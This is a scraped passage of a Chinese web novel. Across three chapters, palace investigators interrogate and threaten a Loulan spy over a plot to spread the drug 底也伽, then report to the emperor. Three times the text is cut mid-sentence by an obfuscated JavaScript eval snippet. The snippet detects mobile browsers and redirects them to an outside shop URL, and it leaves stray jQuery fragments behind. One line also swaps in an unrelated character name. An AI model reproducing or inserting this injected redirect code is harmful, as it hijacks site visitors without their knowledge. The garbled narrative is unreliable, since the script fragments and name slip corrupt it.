两人一前一后,谢伟恒扛着昏迷的艾木都拉,燕修延提着装满罪证的包裹,径直赶往监察司刑室。 两人默契地一人抓住艾木都拉一只脚,熟练地将人身上多余的杂物抖落干净,动作行云流水,显然是做惯了这般事。 随后燕修延拿出粗麻绳,将艾木都拉结结实实地绑在刑架上,手腕、脚踝、腰腹都被勒得紧紧的,丝毫动弹不得,就连嘴巴也被塞进了一块厚实的抹布,堵得严严实实。 从头到脚,唯有一双眼睛能自由转动,其余半点挣扎的余地都没有。 “行了,这下稳妥了。回去睡大觉,明天让人把沥老带过来,跟这小子认个亲,事情就清楚了。” 燕修延拍了拍手上的灰尘,又抬脚将刚才抖落出来的零碎物件踢到墙角,免得挡路。 折腾了大半夜,两人回到住处,倒头便睡,一觉酣眠,直接睡到天光大亮。 燕修延迷迷糊糊间,只觉得腰间压着一只沉甸甸的手臂,动弹不得。 他拎开谢伟恒紧紧箍在自己身上的手,又伸手扯了扯身边人的耳朵:“你再装睡手还乱摸试试?” 谢伟恒缓缓睁开眼,一脸无辜地看着他,笑着打招呼:“燕大人早啊。” 燕修延懒得跟他计较,准备越过谢伟恒下床:“不早了,肚子都打鸣了——你干嘛?” 谢伟恒长臂一伸牢牢搂住燕修延的腰,将头轻轻贴在他的肚皮上:“嗯,你的肚子说它饿了,在跟我告状呢。” “你好幼稚。” 燕修延轻轻拍了拍谢伟恒的脑袋,顺势挣脱开他的怀抱,下床穿衣洗漱。 等两人收拾妥当,吃完热气腾腾的早饭,慢悠悠赶到监察司刑室时,被绑在刑架上的艾木都拉早已饿得两眼发昏。 本就苍白的脸色此刻更是没了半点血色,眼神涣散,脑袋有气无力地垂着,整个人虚弱到了极点。 “咕——” 两人刚踏入刑室,一道清晰又响亮的肚子肠鸣声便在空旷的房间里响起,格外突兀。 燕修延仿若未闻,手里拎着刚在路上买的驴肉包子,外皮烤得金黄酥脆,肉馅的香气浓郁扑鼻,顺着风飘满整个刑室。 他张口咬下一大口,慢慢咀嚼,一脸满足地感叹:“嗯,真香!” “咕——” 又是一声更响的肠鸣,艾木都拉抬起头,双眼死死盯着燕修延手里的包子,喉咙不自觉地滚动,拼命想移开视线可那勾人的香味却像长了脚,一个劲地往他鼻腔里钻。 燕修延自顾自吃了两口,随手将剩下的半个包子递到谢伟恒嘴边。 谢伟恒低头,自然地咬下一口,两人你一口我一口,默契十足地吃完了一整个大包子。 谢伟恒细心地掏出干净的帕子,轻轻替燕修延擦了擦嘴角沾到的油渍,又擦了擦手指。 燕修延接过监察司的人早已泡好、端上来的热茶,抿了一口,慢悠悠地放下茶杯,这才抬眼看向刑架上的人:“艾木都拉,你是叫这个名字对吧。” 艾木都拉瞬间慌了神,满脸惊恐,脑袋摇得像拨浪鼓,嘴里发出“呜呜”的闷响,拼命否认。 “咕——咕——” 他的肚子像是在拆台,一声接一声的肠鸣接连响起。 燕修延眼底闪过一丝戏谑,又慢悠悠掏出一个香喷喷的火烧,麦香混着炭火的香气,比包子还要勾人。 他找了个干净的布兜,将火烧装进去,特意走到刑架前挂在艾木都拉的脖子上,让食物就垂在他嘴边,一低头就能碰到。 “招待不周哈,昨儿太晚了,只能委屈你在这刑室里睡了一夜,这个火烧是特地给你买的,吃吧。” 燕修延说得一脸诚恳,语气里却满是刻意。 谢伟恒配合着装模作样地提醒:“他吃不起来。” “哎呀,你看我这记性,我给忘了!” 燕修延一拍额头,露出一副恍然大悟的模样,上前伸手,一把将堵在艾木都拉嘴里的抹布扯了出来:“等你吃完了,咱们再慢慢详谈。” 抹布一离口,艾木都拉猛地大口呼吸,喉咙干涩发疼,差点被口水呛到。 他狠狠咽了咽口水,压下胃里的绞痛,脸上依旧堆着惶恐的神色,声音沙哑地开口:“两位大人,是不是抓错人了?我不叫艾木都拉,我叫张三,就是个普通百姓!” “哦,你好张三,我叫王五。” 燕修延敷衍地点了点头,扭头看向谢伟恒:“赵四啊,看来咱们真抓错人了,要不把他放了吧?” 谢伟恒配合着微微皱起眉头,一脸认真地睁着眼睛说瞎话:“可是陛下指定的期限就快到了,若是交不了差,咱们都难辞其咎,不如就拿他充数。先把他舌头割了,就说他妄图咬舌自尽,被咱们及时拦下来了,也能搪塞过去。” “有理,就这么办。” 燕修延当即拍板,语气干脆:“供词我自己来写,到时候按着他的手画押就行,省事。” 话音落下,燕修延从刑架边拿起一把闪着寒光的小巧尖刀,指尖转了个刀花,一步步朝着艾木都拉走去,刀刃泛着的冷光,直直映在艾木都拉惊恐的眼底。 “大人饶命!大人——” 艾木都拉吓得魂飞魄散,拼命扭动着身体,奈何被绑得太紧,半点都挣不开,他连忙哭喊着求饶:“大人,我知道你们要找的艾木都拉在哪里!我真的知道!” 燕修延停下脚步,挑了挑眉,这人还挺会演。 昨晚将人带回来时,他就已经悄无声息地撕掉了艾木都拉脸上的□□,看清了他的真面目。 他倒是好奇,艾木都拉会指认谁。 艾木都拉脑子飞速转动,冷汗顺着额头往下淌,慌乱之下连忙编造说辞:“他、他昨日就出城了,说是去取制作底也伽的关键药材,很快就会回来!” 燕修延转身走回桌边,指尖轻轻点着桌面:“那咱们要是把他先关着,万一真的艾木都拉回来了,岂不是扑了个空?” 谢伟恒露出若有所思的神情,沉声接话:“可陛下明确说明日再找不到人……时间紧迫,根本耗不起。” 燕修延也皱起眉头。 就在两人装作陷入两难沉思的时间里。 艾木都拉也在疯狂思索着抽身之法,浑身被麻绳勒得生疼,血脉不通,手脚早已发麻,根本不可能挣脱,只能寄希望于编造的谎言能骗过眼前两人。 “咔哒”一声轻响。 燕修延从怀里掏出一把瓜子,匀了一小半递给身边的谢伟恒,语气轻松地打破沉默:“遇事不决,嗑嗑瓜子,慢慢想。” 清脆的嗑瓜子声此起彼伏,在寂静的刑室里格外刺耳,一声接着一声,扰得本就心烦意乱的艾木都拉越发焦躁,恨不得冲上去将两人手里的瓜子打翻,却又无能为力,只能被那细碎的声音折磨着心神。 两人慢悠悠嗑着瓜子,桌上堆起一小堆瓜子壳,沥老也被监察司的侍卫带了进来。 沥老刚踏入刑室,目光第一时间就落在了被绑在刑架上、脖子上还挂着一个火烧的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646294|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。 他眼睛猛地瞪大,一脸惊讶地开口:“艾木都拉?你这是偷吃火烧的时候被抓了?” “噗——” 燕修延没忍住,一口茶水差点喷出来,低头掩去嘴角的笑意。 艾木都拉脸色涨得通红,依旧死咬着不认,拼命摇头:“我不是艾木都拉!你认错人了!” 沥老盯着他的脸仔细打量了半天:“难不成你是他的同胞兄弟?长得一模一样。” 艾木都拉心里咯噔一下,这才终于察觉到不对劲,沥老一眼就认出了他,难道…… 燕修延好心地从怀里掏出一面小巧的铜镜,在艾木都拉面前轻轻晃了晃,让他看清自己真实的面容:“就你那蹩脚的易容,昨晚就被我撕掉了,真当能瞒得过谁?” 事到如今,再装下去也毫无意义。 艾木都拉脸上的惶恐不安瞬间褪去,眼神变得阴鸷冰冷,死死盯着燕修延,咬牙切齿地说道:“你耍我!” 燕修延一脸诚恳地看着他,语气却满是戏谑:“你可能不知道,我生平就喜欢看耍猴,你刚才演得,倒还算精彩。” 谢伟恒在一旁认真附和,转头看向燕修延:“既然这么喜欢,咱们回去养只猴子吧,也能解闷。” “家里已经有一头大白猪了,再来只猴,难不成让谢伯养成猴猪?” 燕修延随口接话,一句话逗得谢伟恒也忍不住笑了起来。 艾木都拉闭了闭眼睛,心底泛起一阵寒意,他早就听说过燕修延审讯人的手段,阴狠又刁钻…… “唉,别这么想不开啊。” 燕修延生怕他咬舌自尽,伸手快速捏住他的下颌,直接将他的下颌卸了下来:“一言不合就想咬舌自尽,何必呢,留着命,咱们有的是时间慢慢聊。” 他扭头看向沥老,沉声确认:“确定这个就是艾木都拉,不会错吧?” 沥老毫不犹豫地点头:“绝不会错,就算化成灰,光听声音我就能确定是他!” 艾木都拉下颌被卸根本说不了话,只能用那双阴狠无比的眼睛,一一扫过燕修延、谢伟恒和沥老三人,眼神里满是怨毒与恨意。 沥老被他看得心头火起,当即就炸了,不满地冲着艾木都拉吼道:“你那是什么眼神?当初你跟我说所有事情都安排好了,只要我帮你杀了皇帝,就能保我平安,结果呢?我差点被人片了!” 说起这个沥老就一肚子窝火,越说越激动:“他们让我做事,给我好吃好喝还拿银钱酬谢,我帮你杀皇帝,你从头到尾连一句要给我酬劳的话都没有!合着就让我白白替你卖命!” 燕修延看热闹不嫌事大,轻飘飘地添了一把火:“沥老,这你就看明白了吧,假使你当初真的得手杀了陛下,他第一时间就会把你杀了,对外宣称是为陛下报仇,把所有罪责都推到你身上,自己全身而退。” 沥老本就怒火中烧,听燕修延这么一说,更是气得浑身发抖,死死盯着艾木都拉:“他说的是真的?你是不是从一开始就想利用我,事后还要杀我灭口?” 艾木都拉下颌被卸,根本无法辩解,只能沉默以对。 他这副不回应的态度,彻底激怒了沥老。 沥老当即撸起袖子,攥紧拳头就要冲上去揍艾木都拉,全然忘了对方下颌被卸、说不了话的模样,一心只想发泄心头的怒火。 “好了好了,别冲动。” 燕修延连忙上前打圆场,拦住沥老:“他不说话就意味着默认了,如今身份也彻底确认了,接下来我要专心审问他幕后的勾当,你先回去吧。” 沥老依旧愤愤不平盯着艾木都拉,恶狠狠地问道:“你会片了他的肉,再喂给他自己吃吗?若是这样,我心里这口气才能消!” 谢伟恒一脸认真地点头,语气平静地接话:“燕大人负责片肉,我自然会替他端好蘸料碟,保证周全。” 沥老闻言,这才觉得心满意足,狠狠瞪了艾木都拉一眼,转身离开了刑室。 看着沥老的身影消失在门口。 燕修延缓缓转头,看向被绑在刑架上、眼神阴鸷的艾木都拉,嘴角勾起一抹浅笑:“现在,想说话就眨一下眼睛,我替你把下颌接上,咱们好好算一算笔账。” 137. 只想在燕大人身上活、动 艾木都拉终究只艰难地眨了一下眼睛。 燕修延骨节分明的手指轻巧抬起,精准地捏住他错位的下颌,只轻轻一推,便利落替他接了回去。 不等艾木都拉松口气,指尖又是微微用力,再次将他的下颌卸掉,动作行云流水,唇角勾起一抹玩味的笑,慢悠悠开口:“你是真想说还是假想说,我一眼就看出来了。别在这儿跟我玩欲擒故纵的把戏,没用。” 谢伟恒闻言微微偏头看向燕修延,语气带着几分虚心求教的认真:“若是他这般油盐不进,一直不肯开口,当如何处置?” 燕修延无所谓地摊了摊手,语气轻描淡写,却说出极具威慑的话语,仿佛攻打一个国家对他而言不过是举手之劳:“直接点起兵马,攻打楼兰便是。” 艾木都拉猛地睁大了双眼,瞳孔骤缩,眼底满是不可置信与慌乱,怎么会? 燕修延知道艾木都拉很好奇,他偏不说是怎么知道的。 谢伟恒垂眸思忖片刻,指尖轻轻摩挲着袖口,语气沉稳地给出计策:“直接出兵未免劳师动众,或许可以施以权谋,离间楼兰与周边诸国的关系,引得周边国家主动出兵攻打楼兰,坐收渔利即可。” 燕修延眼睛一亮,觉得此计甚妙,当即不再多言,干脆利落地转过身:“走,即刻进宫面见陛下,商议此事。” 艾木都拉彻底慌了神,原本强装的镇定荡然无存,被缚住的手脚用力挣动起来,刑架发出轻微的吱呀声响,喉咙里挤出急切的闷哼,拼命想要示意自己愿意开口。 谢伟恒适时回头,看了眼情绪激动的艾木都拉,淡淡开口提醒燕修延:“他好像想说了。” 燕修延停下脚步,折返回来,再次抬手,动作熟练地替艾木都拉装上下颌:“现在想说了?想说什么,说。” 下颌恢复知觉,艾木都拉急切地开口,声音因慌乱有些沙哑:“我不是楼兰人!我真的不是楼兰人!” 燕修延只是漫不经心地瞥了他一眼,没什么诚意地点了点头,语气随意得近乎敷衍:“哦,没关系。” 话音顿了顿,他唇角勾起一抹玩味的弧度,“我说你是,你就是。” 谢伟恒默契地接下话茬,温润的嗓音里带着几分不容置喙的笃定,完美配合着燕修延的话:“他也可以是冒充羯人,潜伏在大虞的楼兰细作,这般定论,合情合理。” “哎,对!谢大人这个主意,实在是好!” 燕修延当即一拍巴掌,眼中笑意更盛,一脸赞同,全然不管艾木都拉惨白的脸色。 艾木都拉僵在原地,心头又惊又怒,满是不甘。 他原本打定主意,即便受尽酷刑也只在撑不住的时候,假意松口吐露一个假身份,借机祸水东引。 可他万万没想到,燕修延竟然真的看穿了他的来历,知道他是楼兰人! 他死死盯着燕修延,眼底满是疑惑与不甘,咬牙追问:“你究竟是从哪里猜出来的?我自认行事毫无破绽,你不可能知道我的身份!” 燕修延眸底闪过一丝锐利的光,缓缓报出几味药材的名称,语气笃定:“底也伽中必不可少的几味药材,分别产自不同的国家,可所有产地无一例外都与楼兰国土接壤。” 顿了顿,燕修延往前凑近半步,咧嘴一笑,笑容里满是戏谑与嘲讽,直直戳破艾木都拉的心思:“其实本就是猜测,不过是你自己一激动当场坐实了身份。我就喜欢你们这种有点脑子却又不多的人,省得我多费功夫。” 谢伟恒刚想开口说些什么,燕修延却先一步转头看向他,脸上瞬间换上一副毫无感情的假笑:“脑子多的人少说话还能讨喜些。” 谢伟恒只是望着他,眉眼弯弯露出一抹温和的笑意,乖乖闭上嘴,不再多言,眼底却满是纵容。 燕修延收回目光重新看向艾木都拉,瞬间切入正题,语气冷了下来,带着审讯的压迫感:“别再浪费时间,是谁让你潜伏到晋王身边的?这个幕后之人此刻还在不在大虞境内?” 艾木都拉脸色几经变幻,沉默了片刻,终究是抵不住心中的压力,低声开口,语气带着几分颓然:“是楼兰国师联合你们大虞内部的人一起计划的,让我潜入大虞找一个有能力争夺帝位、登上帝位的亲王,暗中辅佐,伺机而动。” 燕修延听完忍不住嗤笑一声,语气里满是毫不掩饰的杀人诛心:“你这眼神怕是早就瞎了吧?放着其他皇子不选,偏偏找了个最次的,何依馨是你杀的?” 艾木都拉身子微颤,没有再辩解,低声承认:“是。” “晋王为什么会突然疯癫?”燕修延紧接着追问,语气步步紧逼。 “我给他下了特制的药。” 艾木都拉声音更低,尽数交代:“一直持续服用,便不会有任何异样,可一旦断药超过三天,便会神志不清,彻底疯癫。” 燕修延指尖轻轻敲击着桌案,发出规律的轻响,一声一声,像是敲在艾木都拉的心头上。 问一句才答一句,这般挤牙膏似的交代,让他心底泛起几分不耐,眉头微微蹙起。 谢伟恒将他的情绪看在眼里,适时开口,声音温润却带着十足的威慑力,再次祭出方才的计策:“他这般不肯主动交代,心存侥幸,依我看还是不必多费口舌,直接灭了楼兰,来得更方便。” 燕修延当即点头附和,起身便要迈步,语气决绝:“走,这就去找陛下,小小楼兰,兵力孱弱,我大虞想要拿下,易如反掌。” “我说!我全都说!” 艾木都拉彻底崩溃,再也撑不住,慌忙开口阻拦,声音里满是急切,“我从头开始,一五一十地全部交代!” “早这样不就好了。” 燕修延重新坐下,抬眸瞥他,语气淡漠,“说详细点,不许漏掉半分。” 楼兰国土狭小,地理位置偏僻,既无强盛兵力,也无众多人口,土地更是贫瘠不堪,向来在诸国中毫不起眼。 之所以一直没有受到战争侵扰,不过是因为周边几国相互制衡、彼此掣肘,谁也不敢贸然出兵,生怕给其他国家留下趁虚而入的机会。 用大虞的话来说,楼兰就是一块食之无味、弃之可惜的鸡肋。 楼兰国师掌权,野心渐起提出楼兰土地贫瘠,无法长久生存,想要寻一处土地肥沃、物产丰饶的地方,带领全国子民迁居,过上安稳富足的日子。 燕修延挑眉,语气里满是轻蔑的嘲讽,忍不住开口打断:“呦,绕了这么大圈子,原来是惦记上我大虞的锦绣河山了是吧?” 胃口倒是不小,国师白天是不是总爱睡觉? 不然怎么能做出这么荒唐的白日梦。 艾木都拉抿紧双唇,脸色一阵青一阵白,自然听出了燕修延语气中的轻蔑与鄙夷,却敢怒不敢言,只能强压下心头的屈辱。 “国师是想暗中控制大虞皇帝,推动楼兰与大虞交好,再让陛下迎娶楼兰公主,生下带有楼兰血脉的皇子,立为储君太子,再慢慢谋划,让楼兰子民分批悄无声息迁入大虞,逐步蚕食大虞江山。” 为了实施这个计划,艾木都拉费尽心思借了别人的身份,精心易容,这才混进大虞境内。 而选择投靠晋王,也是无奈之举。 太子身居东宫戒备森严,他根本没有接近的机会;五皇子瑞王心思缜密,待人戒备,从不轻信外人,他几番试探都未能靠近。 二皇子早已离世,剩下的皇子中,也就只有晋王看似野心勃勃,有争夺帝位的心思,看上去还有几分成事的可能。 可他万万没想到,最后发动宫变、顺利登上帝位的,竟是一直不显山不露水的四皇子。 燕修延指尖挠了挠额头,满脸无奈,楼兰当真就找不出一个聪明人吗? 就算选身体病弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他心头瞬间涌起一个可怕的念头,难道……皇帝并没有中招? 事已至此,艾木都拉再也无法隐瞒,只能颓败地开口,缓缓道出原委:“何依馨入晋王府后,一直难以受孕,即便怀上孩子,也屡次滑胎,保不住胎儿。我用特制的药帮她调理好身体,让她顺利怀上孩子,她便对我深信不疑,事事都听我的。” 借着这份信任,艾木都拉得知何依馨的手帕交安凝棠入宫,被封为凝嫔,深得陛下宠爱。 他便抓住这个机会,蛊惑何依馨让她借着与凝嫔的交情,一步步悄无声息地对陛下下手,暗中加害陛下。 “我特意叮嘱她,这件事事先不必告知晋王,等事成之后皇帝驾崩,再向晋王请功,届时功劳更大。” 燕修延一边听着,一边伸手抓住谢伟恒的手,随意地翻过来,用指尖轻轻挠着他的掌心,头也不抬,却精准地戳破艾木都拉未曾说出口的私心:“你这么做,其实是自己也不相信晋王能成功夺权,不过是留了后手。等陛下病重朝廷张榜寻医时,你再借机揭榜入宫接近陛下,掌控全局,对么?” 谢伟恒任由他摆弄自己的手指,五指微微收拢,轻轻握住他的手,掌心相贴,嘴角挂着一抹淡淡的、宠溺的笑意,目光温柔地落在他身上。 “……是。” 艾木都拉被说中心事浑身冰冷,有种在两人面前无所遁形的挫败感,他没说出口的用意,也被卫霜戈猜到了。 燕修延淡淡瞥了他一眼,另一只手伸出,轻轻戳了戳谢伟恒的手背,示意他安分些。 随即重新看向艾木都拉,语气骤然变冷,眼神锐利如刀,直指核心秘事:“好了,过往的事不必再多说,接下来,好好说说,底也伽是怎么回事。” 138. 你又能否独善其身吗 艾木都拉蜷缩在刑凳上,额角冷汗顺着瘦削的脸颊滑落,滴在冰冷的地面上,晕开一小片湿痕。 他抬眼偷偷觑着面前端坐的燕修延,指尖死死攥着衣角,心里反复掂量,终究猜不透这位以狠辣闻名的监察司大人,在底也伽一案上究竟掌握了多少内情。 喉结艰难滚动了几下,他沉默半晌,才压低声音开口:“我扮做香料贩子,先搭上了丰乐楼的……” 谢伟恒轻轻“咦”了一声,他微微偏过头,清俊的眉眼间带着几分思索:“燕大人早前同我说起过此事,似乎比葛云舟被卷入其中要早得多。” 燕修延周身气压骤然一沉,原本淡漠的神色瞬间覆上不满,漆黑的眸子里戾气翻涌,带着不加掩饰的烦躁与冷厉,他抬手不耐烦地敲了敲桌案:“烦死了,不问了,让楼兰直接毁灭便是。国家都不复存在,他们这群人也没什么好折腾的。” 那话语轻飘飘的,可其中裹挟的杀意却如同利刃,直直刺向艾木都拉。 他分明只是随口一语,却让本就心惊胆战的艾木都拉浑身一颤,吓得脸色惨白,只当燕修延是真的动了迁怒楼兰、赶尽杀绝的心思,慌忙挣扎起来。 “大人息怒,大人莫恼!我只是想着从后往前交代,我这就从头说,从前往后一字不落全说出来!” 艾木都拉再不敢有半分隐瞒,心底最后一丝侥幸也被燕修延的戾气击得粉碎。 他们想要的从来不是简简单单让楼兰人迁入大虞,最终的目的是彻底统治整个大虞。 大虞人口繁盛,想要强行掌控难如登天,国师便联合了那个大虞人,提出用底也伽这种东西,慢慢控制大虞百姓。 所以在刚进入大虞境内,艾木都拉就偷偷购置原料炼制底也伽,先卖给那些有钱却无实权的商人。 他一直严格控制给药剂量,这些人眼下只是染上药瘾,身体暂时没有出现大碍,只为先牢牢掌控住他们。 燕修延指尖轻轻敲击着桌面,眼神锐利如鹰隼,瞬间抓住了关键:“从那些商人手里赚来的钱财,去了哪里?” 艾木都拉下意识脱口而出:“全、全都送回楼兰了。” 话音刚落,便对上燕修延眯起的双眼。 艾木都拉心头一紧,当即改口,声音愈发怯懦:“……是藏在桃花源水井旁的大树底下。” 桃花源? 燕修延眉峰微挑,脑海里闪过些许模糊的印象,却并不深刻,他侧过头目光投向谢伟恒,眼神里带着淡淡的询问。 谢伟恒会意温声解释:“是京城巷子里一家小有名气的食肆,他家隔壁是稻香斋有你最爱吃的桂花酪。” 燕修延指尖下意识地相互搓了搓,眸底闪过一丝光亮:“正好,一会审完就去把那笔钱挖出来。” 艾木都拉听得心都在滴血,那笔钱是他们筹备已久的活动经费,每一分都有大用处。 如今要被尽数搜刮,他嘴角耷拉着,眼眶都微微泛红,险些当场哭出来,却碍于燕修延的威压,半个字都不敢反驳。 见他骤然沉默,燕修延眉头一皱,语气不耐地催促:“继续说,别愣着。” 艾木都拉只能乖乖接着交代过往行径,在晋王封地的时候,他把底也伽掺进香料里做成熏香,送给封地内的大小官员,让他们在不知不觉间染上药瘾。 到了京城之后,又拿着底也伽跟道长换取黄符。 想借着他们的人手,把底也伽暗中送往大虞各个州县。 晋王事败被抓,他抓紧时间把手上剩余的药材全都炼成了底也伽,留了一小部分在京城暗中售卖,剩下的大部分,全都委托镖局送出京城。 挑选镖局时,我故意选了长风镖局,随后又换了身份,委托了两笔大单子。 他知晓蒋野星与朱语秋交情极好,蒋野星多半会托付给朱语秋代劳。 朱语秋是监察司的人,城门守卫对她极为熟悉,定然不会仔细查验她携带的货物,便能顺利通关。 这批货物先在云中城中转,随后顺着水路一路南下,计划在江南府打开销路,把底也伽散播到江南一带。 艾木都拉一边说,一边偷偷抬眼观察燕修延的脸色,见他闻言缓缓皱起眉头,心底顿时一慌,生怕他又动了灭楼兰的念头。 “这些底也伽会通过京城三家香料铺子掺进寻常香料里,改了名字暗中售卖,绝不会轻易被人察觉。” 燕修延默默记下三家香料铺子的名称,指尖在桌案上轻点几下,抬眼看向艾木都拉:“就这些?没别的了?” 艾木都拉小心翼翼地抬眼,试探着问道:“葛云舟相关的事情,大人已然知晓,不知大人还想知道什么?” 燕修延薄唇轻启,缓缓吐出三个字,字字清晰:“柯缨县。” 这三个字如同惊雷,在艾木都拉耳边炸响,他猛地瞪大双眼,他怎么连这个都知道? 外界都只当他关注柯缨县剿匪一事! 艾木都拉面如死灰,只能如实供述:“柯缨县的县令……是我们楼兰人,他找机会顶替了原本的县令,一直潜伏在当地。” 他们和虎头寨的悍匪勾结,在虎头山上试着种植炼制底也伽的原材料。 好不容易种出来的药材长势极差,用其炼出来的底也伽,药效也差了太多。 虎头寨的人愚昧,只当他们种的是制作香料的原料,对此毫不知情。 燕修延将毛笔塞到谢伟恒手中,语气从容:“行了,接下来交代下京城所有与底也伽有牵连的人,还有潜伏在大虞境内的其他楼兰人的姓名、住址、是否顶替了他人身份。” 谢伟恒握着毛笔,指尖顿了顿,抬眼轻声问道:“万一他有所隐瞒、有所遗漏,我们如何能察觉?” 燕修延转头看向他,递去一个让他安心的眼神:“你要相信我审问人的手段,再硬的骨头我都能给他撬开一条缝。” 谢伟恒轻轻颔首,嘴角勾起一抹浅淡的笑意,顺着他的话意:“也是,实在不行,直接灭了楼兰便是,总归是有办法的。” 艾木都拉心底满是不甘与绝望,却迫于两人的威压,不得不一字一句地交代出所有潜伏人员的信息。 他心中恨极,恨自己一时大意被燕修延抓获,更恨燕修延心思缜密、手段狠辣,丝毫不给人留活路。 谢伟恒执笔伏案,手腕运转自如,他的字写得极好看,笔锋苍劲有力,撇捺之间尽显文人风骨,墨汁落在纸上,字字清晰端正。 燕修延单手支着下巴,目光直直落在谢伟恒身上,眼神里的戾气早已消散,取而代之的是毫不掩饰的欣赏。 谢伟恒的手骨节分明,执笔时姿态优雅,那张清俊的面庞更是温润好看,哪哪都好。 就是做人禽兽了些。 尽显牲口本色。 艾木都拉说完最后一个名字,整个人像是被抽走了所有力气,脸色灰败如土。 楼兰在大虞苦心经营这么多年,布下这么多暗棋、谋划这么久的大计,如今竟一朝功亏一篑。 到头来活脱脱像个天大的笑话。 燕修延看着他失魂落魄的模样,反倒难得“好心”,把凉透的火烧直接塞进艾木都拉口中:“说了这么久,吃点东西别饿死了。我留着你还有大用。” 最后问清了能让疯癫的晋王清醒的解药是哪一种,燕修延才揣着谢伟恒记录好的名单,与他一同转身离开昏暗压抑的刑室。 “这个药当真能让晋王清醒过来?” 虞睿祥拿着燕修延递上来的瓷瓶,指尖捏着瓶身轻轻打开,倒出两粒圆润的黑色药丸,放在鼻尖轻嗅一下。 燕修延无所谓地耸了耸肩:“艾木都拉是这么说的,到底有没有用我可不敢保证。” 他将那份沉甸甸的名单取出,放在虞睿祥的桌案上,故意拉长了语调邀功:“陛下,我可是费了九牛二虎之力,受尽波折,才拿到这份绝密名单,您可得好好嘉奖我。” 虞睿祥看着他这幅邀功的模样,又瞥了一眼一旁站着、眉眼温柔却分明与燕修延一唱一和的谢伟恒。 狼狈为奸! 蛇鼠一窝! 他太清楚他们的套路了,若是自己装作没听见,谢伟恒定然要开始絮叨燕修延查案有多辛苦、多费心神,半分便宜都不让他占。 心中无奈归无奈,虞睿祥看着桌上的名单也知晓此事重大,只能大方开口:“行,赏,想要什么自己去拿。” 燕修延瞬间眉开眼笑,当即躬身行礼,语气欢快又恭敬:“谢陛下!吾皇万岁万岁万万岁!” 虞睿祥放下名单,指尖轻轻敲击着桌面,他对攻打偏远贫瘠的楼兰本就没什么兴趣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646296|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼兰国土狭小,最多算是蚊子腿,入不了他的眼。 但西域各国都有的一种马叫做“西极马”,高大矫健、灵活耐力十足,是绝佳的战马。 楼兰人想要水土肥美的地方,他想要宝马良驹。 虞睿祥眸底闪过一丝锐利的锋芒,他缓缓开口:“楼兰若是识趣愿意归顺合作那便罢了;若是不肯朕便让它彻底湮灭,只成为史书上寥寥一笔记载。” 燕修延与虞睿祥想到了一处,他看重的同样是楼兰的西极马。 “陛下的意思是先承诺楼兰日后会给他们寻一块水土肥沃的‘好’地方,让他们迁居过去?” 虞睿祥缓缓颔首,语气意味深长,特意加重了语气:“对,好、地、方。” 如今大虞国力强盛,可发兵剿灭周边诸国,耗费的兵力、财力难以估量,得不偿失。 可若是将这些小国驱逐到偏远之地,却轻而易举。 到时候,楼兰借着大虞的许诺得到所谓的“好地方”,定然会成为周边其他小国觊觎的肥肉。 自古以来,怀璧其罪。 只要大虞对外放出风声,称与楼兰交恶,孤立无援的楼兰,瞬间就会成为众矢之的,任人宰割。 燕修延明白了虞睿祥的深层用意,这是日后的长远谋划,他眼下并不关心,笑眯眯地追问:“陛下,咱们先说眼下的,臣的赏赐呢?” 虞睿祥看着他这幅急不可耐的模样,一时语塞:“……朕带你去私库,你自己随意挑。” 挑完东西,送回府中,妥善放进库房锁好。 燕修延又马不停蹄地带着监察司的人赶往桃花源。 临走之前,特意吩咐手下给李羽飞带了一句口信。 桃花源,燕修延一声令下,店里所有相关人员全都被一网打尽,一个不落,水井旁大树下埋藏的巨额钱财,也尽数被挖出,收入了监察司众人的腰包。 温泽看着眼前堆成小山的金银财宝,笑得合不拢嘴:“这么多钱,要是温瑞看见了非得哭天喊地羡慕坏了,你们谁有空写封信给他,好好让他眼馋哭一哭。” 李府门外。 虞湘晔身着华服站在马车旁,看着李羽飞轻声叮嘱:“真不用我陪你一起进去?李想毕竟是你父亲,万一他恼羞成怒伤了你,可如何是好?” 李羽飞抬手细心地替她理了理被风吹乱的衣襟,眼神温柔:“我总打着殿下的名号行事,朝堂上的大臣本就颇有微词,此番我独自进去便好。放心吧,李想伤不到我。” 说完她轻轻抱了抱虞湘晔,给她安抚,随即转身毅然踏入了李府大门。 书房内,气氛压抑。 李想端坐在主位上,看着推门而入的李羽飞,脸色阴沉:“怎么,终于舍得回府了?” 李羽飞神色淡漠,径直走到李想对面的椅子上坐下,语气冰冷没有半分亲情:“父亲会错了意,你这李府我光是踏进来就觉得恶心至极。若不是有人托我带话我是万万不会再踏入这里半步。” 李想被她这番话气得猛地站起身,手指着他:“李羽飞!你身上终究流着一半我的血,你这般厌恶我、厌恶李家,传出去你自己就能独善其身吗?!” 